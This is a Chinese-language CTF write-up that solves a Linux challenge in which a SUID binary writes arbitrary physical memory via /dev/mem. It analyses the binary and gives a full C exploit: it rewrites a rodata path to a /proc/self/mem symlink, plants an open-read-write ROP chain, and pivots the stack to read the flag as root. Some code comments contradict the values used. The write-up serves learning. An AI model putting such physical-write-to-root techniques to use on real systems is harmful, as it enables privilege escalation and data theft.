2025 TRX CTF - /dev/mem - part 2

Author : 堇姬 Naup

前言

繼承上一篇
https://naupjjin.github.io/2025/04/11/Linux-Kernel-2025-TRX-CTF-devmem/

這邊來講講另一個思想

analyze

這次主要針對 /usr/sbin/chall，先放一下他的保護機制，沒有開 PIE
並且他是 static linking

再來去檢查這個 binary 發現他有 SUID 

1
2
~ # ls -l /usr/sbin/chall
-rwsr-x--x    1 root     root        748440 May 14 10:44 /usr/sbin/chall

他在跑的時候他會用 root 權限來去執行他
因為 chall 會去針對 /dev/mem 來去做操作
/dev/mem 是 Linux 提供的一個字符設備，映射了系統的物理記憶體（主記憶體）整體空間
這個 driver 既然是針對 physical address 來做操作的，其 binary 必定需要高權限

另外 qemu 環境內通常不會有 libc，所以題目的 ELF 也必然包成了 static
這就讓這題在 userspace 有了操作空間

到這邊先回去細看一次題目給的內容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
naup@naup-virtual-machine:~/Desktop/pwn/devmem$ cat run.sh 
#!/bin/sh
TIMEOUT=40

if [ -z "$1" ]
then
    echo "No exploit supplied"
    # No exploit executable supplied
    qemu-system-x86_64 \
        -kernel ./bzImage \
        -initrd ./initramfs.cpio.gz \
        -cpu qemu64,+smap,+smep \
        -smp 1 \
        -m 1G \
        -append "console=ttyS0 quiet loglevel=3 oops=panic panic_on_warn=1 panic=-1 pti=on" \
        -no-reboot \
        -nographic \
        -monitor /dev/null
else
    echo "Exploit supplied"
    # Exploit executable supplied as first argument
    qemu-system-x86_64 \
        -kernel ./bzImage \
        -initrd ./initramfs.cpio.gz \
        -cpu qemu64,+smap,+smep \
        -smp 1 \
        -m 1G \
        -append "console=ttyS0 quiet loglevel=3 oops=panic panic_on_warn=1 panic=-1 pti=on" \
        -no-reboot \
        -nographic \
        -monitor /dev/null \
        -drive file=$1,format=raw,index=0,media=disk
fi

他給了一份啟動腳本，會把 initramfs.cpio.gz 用 -initrd 的方式作為 file system

init ram disk

initrd 的全稱是 initial ram disk，作用是在開機的早期提供系統一些必要的設定檔與工具程式，以利系統進一步開啟與掛載像是檔案系統等重要的子系統

https://www.kernel.org/doc/html/v6.14/admin-guide/initrd.html

他會在 boot 階段就被 load 進 physical address 中
並且這塊區域並不會受到 KASLR 影響

當我們去執行同一個 ELF (initrd 內的) 時候，有一塊仍舊會 mapping 到同一塊 physical address 在 initrd load 的地方，那塊是 readonly 的 segment
像是 rodata 就不會變

通過 gdb 直接觀察可以發現，就算 virtual address 不一樣
每次都會有一樣的 physical address (rodata)
無論重開多少次 qemu

get shell 思想

首先我們來回去看看 /usr/sbin/chall

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <err.h>

#define DEV "/dev/mem"

#define PAGE_SIZE 0x1000
#define GET_PAGE_BASE(address) address & ~(PAGE_SIZE-1)
#define GET_OFFSET(address) address & (PAGE_SIZE-1) 

__attribute__((constructor)) void init();
int get_long(char* str, unsigned long* value);
int physical_write(int dev, unsigned long address, unsigned long value);

__attribute__((constructor))
void init(){
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
    setbuf(stdin, NULL);
}

int get_long(char* str, unsigned long* value){
    char* check;

    *value = strtoul(str, &check, 16);

    if(check == str)
        return 1;
    
    return 0;
}

int physical_write(int dev, unsigned long address, unsigned long value){
    int br;

    if(lseek(dev, address, SEEK_SET) == -1)
        return 1;

    br = write(dev, &value, sizeof(unsigned long));

    if(br == -1)
        return 1;
    
    return 0;
}

int main(int argc, char **argv){
    unsigned long address, value;
    int dev, check;

    dev = open(DEV, O_RDWR | O_SYNC);
    if(dev == -1)
        err(1, "could not open " DEV);

    if(argc != 3) {
        puts("./chall <address> <value>");
        return 1;
    }
    
    check = get_long(argv[1], &address);
    if(check || (address & (sizeof(unsigned long)-1)) != 0){
        puts("invalid address");
        return 1;
    }

    check = get_long(argv[2], &value);
    if(check){
        puts("invalid value");
        return 1;
    }

    if(physical_write(dev, address, value) != 0)
        err(1, "could not interact with " DEV);

    close(dev);
    return 0;
}

就跟之前說的一樣，這份 code 主要是通過 /dev/mem 來實現對 physical address 的任意寫

也就是說他會去 open /dev/mem
而這個 /dev/mem 的 string 是一個 rodata 段的東西
可以看到這裡

根據前面所述的，這塊位置在每次啟動時候 physical address 都一樣
所以可以改寫，這邊想法是寫成 /proc/self/mem 來對自己 ELF 執行時候可以控制執行流程
因為題目的 code 是跑在 root，所以說如果能通過他，就可以讀 flag
不過 /proc/self/mem 太長了，所以改用 /tmp/c 弄個 symlink 指向 /proc/self/mem

最後的思想是要把 flag 讀出來
剛好因為是 static link 的關係，所以有足夠多 gadget 可以用來堆 ROP
這邊決定堆 open read write，再去改寫 asm 來跳到 ROP 上

以下是攻擊流程

  • 先通過 physical aaw 把 ROP 跟 flag.txt 寫上去 rodata 段
  • 建立一個 /tmp/c 作為 symlink 指向 /proc/self/mem
  • 通過 physical aaw 把 rodata 段上的 /dev/mem 改寫成 /tmp/c
  • 通過 /proc/self/mem 的任意寫來把 write 之後的結尾寫成 mov esp, rop_addr; ret
  • 跳上去執行 open read write 把 flag 讀出來

exploit

記得選擇寫入的地方一定要對其 0x8

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>

#define devmem_PA 0x3e807028
#define tmpc_str 0x632f706d74
#define FLAGTXT  0x7478742e67616c66
#define flagaddr 0x3e833790
#define rop 0x3e8337b0

// gcc exploit.c -o exploit --static

void write_phy(u_int64_t address, u_int64_t value){
    char command[0x100];

    sprintf(command, "/usr/sbin/chall 0x%lx 0x%lx", address, value);
    puts(command);
    system(command);
}

void build_symlink(){
    system("ln -s /proc/self/mem /tmp/c");
}

int main(){

    u_int64_t pop_rax = 0x0000000000421e3c;
    u_int64_t pop_rdi = 0x000000000047994b;
    u_int64_t pop_rsi = 0x0000000000478e8d;
    u_int64_t pop_rdx = 0x000000000041d41d;
    u_int64_t writeable = 0x4ae770;
    u_int64_t syscall_gadget = 0x000000000040b436;
    u_int64_t flagtxt = 0x4af790;
    u_int64_t txt_buf = 0x4ae490;
    /*
    0x0000000000421e3c : pop rax ; ret
    0x000000000047994b : pop rdi ; ret
    0x0000000000478e8d : pop rsi ; ret
    0x000000000041d41d : pop rdx ; add eax, dword ptr [rax] ; add bl, al ; ret
    writeable address  0x4ae770
    0x00000000004014b1 : syscall
    */

    u_int64_t ROPchain[] = {
        pop_rax,
        writeable,
        pop_rdx,
        0,
        pop_rdi,
        flagtxt,
        pop_rsi,
        0,
        pop_rax,
        2,
        syscall_gadget,

        pop_rax,
        writeable,
        pop_rdx,
        0x80,
        pop_rdi,
        4,
        pop_rsi,
        txt_buf,
        pop_rax,
        0,
        syscall_gadget,

        pop_rdi,
        1,
        pop_rax,
        1,
        syscall_gadget
    };

    puts("[!] Write ROP gadget");
    write_phy(flagaddr, FLAGTXT); // write /tmp/f to readonly address
    for (int i = 0; i < sizeof(ROPchain)/sizeof(*ROPchain); i++){
        write_phy(rop + i*8, ROPchain[i]);
    }

    puts("[!] Build Symlink to /proc/self/mem");
    build_symlink();
    puts("[!] Edit /dev/mem to /tmp/c");
    write_phy(devmem_PA, tmpc_str); // change /dev/mem to /tmp/c
    // write shellcode to your rop
    puts("[!] Edit after write function, and change it to jump ROP");
    puts("[!] Open Read Write flag");
    /*
    0:  bc f0 7c 48 00          mov    esp,0x487cf0
    5:  c3                      ret
    */
    write_phy(0x401b60, 0xc3004af7b0bc);

    return 0;
}

Demo